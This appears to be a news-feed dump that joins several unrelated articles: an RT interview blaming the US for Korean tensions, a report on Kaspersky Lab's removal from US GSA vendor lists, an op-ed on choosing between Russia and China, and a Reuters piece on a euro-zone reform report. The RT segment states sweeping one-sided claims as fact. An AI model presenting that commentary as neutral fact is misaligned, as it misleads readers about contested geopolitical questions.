RT: Is it a sensible move given how high tensions are at the moment?
PH: The US is the problem in this. South Korea and North Korea have tried different times to initiate some kind of meaningful peace process. And almost at every turn, the US will intervene in one way or another to try to break up that sort of bilateral negotiations between the North and the South. The US has a demilitarized zone between North and South Korea with 30,000 troops and military contractors and civilian personnel based there. They have a base in Okinawa, they have a base in Japan, they have a base in Guam, they have a few bases on the Philippines. From the Korean point of view, the problem is the US. I am sure North and South Korea could eventually work this out to have a peace treaty. But that is not what is happening now. The US is intervening for one simple fact: because the whole Pacific Rim agenda is predicated on poor relations with North Korea and war footing. Otherwise, the US would have no business in the Pacific and the only reason they are there is to counter China. So, North Korea is just theater. This is stage-managed geopolitical theater. It is very dangerous what the US is doing right now, what this president is doing right now, pushing the envelope in a very negative way.
RT: How might Pyongyang react to a provocation like this?
PH: If you listen to the words of Donald Trump at the UNGA, wouldn’t you want a nuclear deterrent as well? He is threatening to destroy a country with 25 million people that live there. And it is an idiotic statement by the US president for the simple reason, if you nuked North Korea, you would also create huge nuclear contamination that would kill so many people in the South. It would make huge areas uninhabitable and parts of China. It is not going to happen. Everyone knows the US is not going to nuke North Korea. What you have here is an exact identical replay of the US relations with Cuba. The US government, though its ridiculous policies and rhetoric, threatening, sanctions and embargos, kept Fidel Castro in power for so many odd years. They are doing exactly the same thing. This is like a replay of Cuba. The US made Fidel Castro who he was, made the conditions that kept him in power. The US government is doing the exact same thing here with North Korea; it is like a replay of history. It doesn’t make sense on so many levels, but this is sort of business as usual for Washington and unfortunately, history will not be on the side of the US in this, because at some point, it has to end. They’ve been there 70 years. They’ve carved out a strip between North Korea and South Korea, which is basically a giant dollar sink for US dollars, for the military-industrial complex. There is no reason for the US to be there and there is no reason for North and South Korea to be pointing guns at each other. The only reason they are is because of the US.
It’s all about money at the end of the day. It’s about a defense budget that has been increased 20 percent to 700 billion dollars; the increase percentage alone is more than the entire annual Russian defense budget… this is about money, this is about profit.
]]>
The two lists in question reportedly are that of outside vendors providing US governmental agencies with information technology services and digital photographic equipment, Reuters cited the GSA’s spokesperson as saying.
The company was banished “after review and careful consideration,” the spokesperson noted. While she did not throw any accusations at the company, she stressed that the GSA is focused on preserving “the integrity and security of US government system networks.”
The move comes less than a day after Bloomberg magazine published an article, accusing the Moscow-based world leader in cybersecurity of close ties to Russia’s security service, the FSB. The report, titled “Kaspersky Lab has been working with Russian Intelligence” alleged that the magazine had got hold of internal communication that explicitly show that Kaspersky Lab “has maintained a much closer working relationship” with FSB “than it has publicly admitted.”
Among the allegations put forward in the investigative piece by Jordan Robertson and Michael Riley is the claim that the firm allegedly participated in developing security tools “at the spy’s agency behest” and was involved in projects with the FSB that the firm’s CEO, Eugene Kaspersky, deems to be “embarrassing” to shed light onto.
READ MORE: CIA can hack & track Windows devices via their wifi connections
Kaspersky, who previously denied all the claims of collusion with the Kremlin, denounced the report as an example of “banya journalism” and demanded the authors provide the internal emails on which the magazine claims to have based the story.
“Numerous allegations, misinterpretations & fakes. This story is BS brewed on political agenda,” Kaspersky stated on Twitter, adding that the claim that his firm had confirmed the authenticity of the emails was incorrect.
Meanwhile, the journalists refused to share the emails, with Robertson saying that they would not provide any documents that “could compromise sources.” Instead, he called on Kaspersky to read them “on your own e-mail server” in a heated Twitter row.
In an extended statement posted on Kaspersky Lab website late Tuesday, the cyber-security firm insisted it had never have a chance to verify the emails’ authenticity, adding that the document might be “an internal email that contains routine business chatter regarding product development.”
It further argued that the emails could not serve as proof of any ties of the security firm with the FSB, as “the communication was misinterpreted or manipulated to try to make the media outlet’s narrative work.”
Kasperky Lab stressed that it had never launched DDoS attacks on behalf of the Russian government or any other entity. The statement noted that the company did carry out research on “active countermeasures,” but for the purpose of retaliating against DDoS attacks if one is mounted against its customers.
Acknowledging that the firm routinely helps law enforcement to wipe out cybercrime, including in Russia, it said that it is doing so only at the level of technical expertise, flatly denying that it ever assisted government agencies in tracing and hunting down people.
Responding to its reported exclusion from vendors lists, Kaspersky Lab reiterated that it “has no ties to any government” and is a victim of a political battle. The firm is “caught in the middle of a geopolitical fight where each side is attempting to use the company as a pawn,” it said in a statement, cited by Reuters.
It went on to note that it had not been so far informed by the US government agency of the amendments to its status as a contractor.
The measure itself does not ban the Kaspersky products from being used by the US government, but rather prevents it from securing contracts through the GSA mechanism. Its timing coincides with reports that Washington mulls blocking all federal agencies from using Kaspersky Lab software.
In the recent months, Kaspersky Lab became a subject of tight scrutiny by the US law enforcement and Congress alike. In June, the FBI questioned its employees all over the US while the US senators approved a draft defense policy spending bill aimed at barring Pentagon from using its software. The increased pressure on the firm prompted Eugene Kaspersky to offer the US authorities to testify in Congress and disclose the source code of his firm’s software to the US government.
]]>
![]()
]]>
Forty-five years ago last February, U.S. President Richard Nixon returned from a visit to China that shocked the world and unsettled leaders in Moscow, who were awaiting a visit from Nixon a few months later.
Soviet leaders wondered if they were finally witnessing the birth of a U.S.-China alliance that they had feared ever since the breakdown of the Sino-Soviet alliance in the early 1960s.
As Washington and the media convulse over every new outrage emanating from Moscow, while President Trump repeatedly asks “Wouldn’t it be nice if we actually got along with Russia?,” U.S. policymakers are faced with the same choice between Russia and China, though this time the stakes might be even higher.
The history of persistent tensions between Russia and China suggests two choices: Accommodate and reconcile with Russia to balance against the greater power – China. Or, align with China to defend a rules-based international order from its most powerful antagonist – Russia.
It should be clear by now that we can no longer oppose Russia and China at the same time. Though that route might seem tempting and natural, given the historical aspirations of U.S. foreign policy to protect territorial sovereignty, promote human rights and provide a framework for free trade, we are no longer equal to the task.
At a minimum, that would require decisive U.S. action in Syria, firm military support for the government in Kiev, a drastic military buildup of NATO forces across Eastern Europe and a more confrontational posture in the South and East China seas. Doing that would further stretch a U.S. military that is already facing a personnel shortage. It would also represent a burden that the American people apparently no longer wish to carry.
Reuters
Lost in the discussion of whether Trump’s “America First” bravado reflects militarism or isolationism are the ways in which our options have been shaped by the administration that preceded him.
We have only begun to reckon with the foreign policy legacy of Barack Obama, but he has clearly done more to shape the current global predicament than Trump has. When the Russian, Iranian and Turkish foreign ministers met in Moscow in the final weeks of the Obama administration to solve the Syrian crisis by themselves without inviting the U.S., they were making a startling declaration: The nation that had once declared itself to be “indispensable” was now very clearly dispensable. It would have been unthinkable at any point since Pearl Harbor for American interests to be discounted so brazenly in solving the most pressing international crisis.
It is hard to separate the factors that brought us to this point. Is this simply an inevitable product of relative, or even absolute, American decline? Is it a product of a president who sought to “lead from behind” and whose fundamental foreign policy principle was that sins of commission are always worse than sins of omission? Or did Obama conclude he was dealing with a country, already exhausted by wars in Iraq and Afghanistan, that was no longer willing to shoulder the burden of defending the free world? Either way, Trump has inherited a country that is no longer willing and able to play the leadership role it once did in world affairs.
So where do we go from here? If we cannot oppose both Russia and China, then we need to compromise with at least one of them.
Thomson Reuters
Arguing for a Russian alignment is the notion that China already does more damage to American interests around the globe than Russia does. China damages U.S. economic interests through unfair trade practices, our standing in Asia by undermining our alliances, and our ability to promote democracy, particularly in Africa, by offering aid and investment without good governance conditions. As China grows more powerful and assertive, its efforts to drive the U.S. out of East Asia, coupled with increasing challenges to American interests around the globe, will amount to a full-spectrum challenge to the current U.S. position in the world.
In contrast, Russia’s challenges to American interests are relative pinpricks. Russia does not have the ability to turn either Eastern Europe or the Middle East into its own sphere of influence. It is even losing the competition for economic influence in Central Asia, its own post-Soviet backyard, to China.
Putin might not be an evil dictator bent on doing as much damage to the West as possible, but rather a spurned pragmatist with a realistic view of Russia’s position in the world who had initially hoped to cooperate with Western leaders, but has been embittered by poor treatment by them. Putin’s Russia, therefore, would represent not a mortal threat to the international world order, but rather a missed opportunity, one that can still perhaps be salvaged.
AP Photo/Alex Brandon
Alternatively, we could align with China against Russia.
This approach makes sense if you believe Putin began as a pragmatist, but that was only a temporary tack, given his KGB background and nationalist authoritarian inclinations. But now that he has seen how weak his opponents are and how much havoc he can wreak, he has set his sights higher. Fifteen years ago he might not have imagined he could break NATO or the EU, but now that seems within reach, and nothing will deter him from this chance to realize the fondest dreams of his Soviet predecessors. What could we possibly offer him to match such dreams? He would revel in the chaos that would follow.
Chaos, however, is precisely the opposite of what the leaders in Beijing desire. China’s resurgence is built on a world of peace and trade, a world ultimately sustained by American military strength. For China to seek to challenge such an order, it would have to imagine that it could not only fill the role the U.S. currently fills, but manage the transition in such a way as to avoid a chaotic interlude. Chinese leaders are far too clear-headed for such a gambit, and in any case they see no need to rush such a transition before conditions for it have matured.
President Xi Jinping is anyway preoccupied with ensuring the indefinite continuation of Communist Party rule. What could jeopardize that more than a world in chaos and economic disaster?
Sara D. Davis/Getty Images
With Russia against China? With China against Russia?
There is no question such a choice is unpalatable. Not only would either alternative involve morally difficult concessions, but having to make the choice at all implies that the United States is no longer capable of defending the world order it has long sponsored. This is a difficult reality to accept.
And broaching the possibility of such a choice leads to more difficult questions.
Could Russia even be persuaded to align with the U.S. against China or China against Russia? What would we have to offer either side? What would this mean for our allies, especially in Europe and East Asia? The latter question might not be as insoluble as it may seem, because our allies have long since begun anticipating just such a scenario. But if we are no longer able and willing to perform the role we once did, we need to reckon with the consequences.
NOW WATCH: Here’s why some Hong Kong skyscrapers have gaping holes
]]>
BERLIN (Reuters) – The leaders of France and Germany must use the window of opportunity that opens up after elections in both countries to inject new momentum into their single currency project or risk its failure, a leading French think tank warned on Monday.
In a 77-page report entitled “The Europe We Need”, the Institut Montaigne, an independent institute with links to French presidential candidates Emmanuel Macron and Francois Fillon, called for a “multi-speed” Europe in which the euro zone presses ahead with its own budget and even a prime minister.
The report, the product of months of consultation between leading figures from European business, politics and banking, could serve as a blueprint for use by a new French president.
Polls suggest Macron, a pro-European former banker, will face Marine Le Pen, the anti-EU leader of the far-right National Front, in a second round run-off on May 7th, and beat her.
“We are in a geopolitical environment that is extremely dangerous for Europeans,” Ramon Fernandez, finance and strategy chief at French mobile phone group Orange and head of the working group that produced the report, told Reuters.
“If our leaders are to shape the future of Europe and give it back its momentum, it may be now or never. This political will is absolutely necessary. The year 2017 will be decisive,” said Fernandez, a former head of the French Treasury.
The German election will be held four months after the French vote. Conservative Angela Merkel is expected to face a tough challenge from Social Democrat Martin Schulz, the former president of the European Parliament.
In focusing on the need for France and Germany to lead, the report echoes what Macron has said on the campaign trail.
It also calls for Europe’s rescue fund, the European Stability Mechanism, to be turned into a full-fledged monetary fund as well as tougher European defenses against foreign companies and cross-border mergers to create European champions.
Thomson ReutersIn foreign policy, it stresses the need for good relations with Britain and the United States, despite Brexit and the election of U.S. President Donald Trump. It recommends offering Turkey an alternative to EU membership, saying the political evolution of the country makes joining the bloc impossible.
Above all it stresses the importance of the euro zone and smaller groups of countries pressing ahead with closer integration, a similar message to the one sent on Saturday at a summit of 27 EU leaders to mark the 60th anniversary of the bloc’s founding Rome Treaty.
The report calls for an “executive” for the currency bloc in the form of a prime minister or finance minister, who would be answerable to a euro zone subsection of the European Parliament.
“The first priority is the euro zone. We need to shore up the edifice and complete the process that was started with the creation of the single currency,” said Fernandez. “The euro zone is the heart. We need to irrigate it better.”
NOW WATCH: Hackers and governments can see you through your phone’s camera — here’s how to protect yourself
]]>